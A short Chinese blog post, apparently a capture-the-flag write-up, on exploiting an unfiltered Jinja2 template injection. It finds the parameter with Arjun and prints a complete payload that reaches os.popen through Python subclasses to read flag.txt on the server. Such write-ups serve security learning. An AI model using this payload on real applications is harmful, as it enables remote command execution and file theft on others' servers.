本文探讨了一起利用Jinja2模板注入漏洞进行攻击的案例，通过Arjun工具成功爆破参数并获取flag。博客详细描述了注入过程，指出在无过滤的情况下，可以使用常规注入语句。内容涉及网络安全、Web应用安全及Python模板引擎的安全隐患。
场景
猜测是jinja2的模板注入，用Arjun工具爆破参数
下载地址
找到了参数name
传参?name={{7*'7'}},注入成功
这题没有过滤，直接用常规的注入语句即可
?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat flag.txt').read()") }}{% endif %}{% endfor %}
拿到flag
扫一扫
507
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
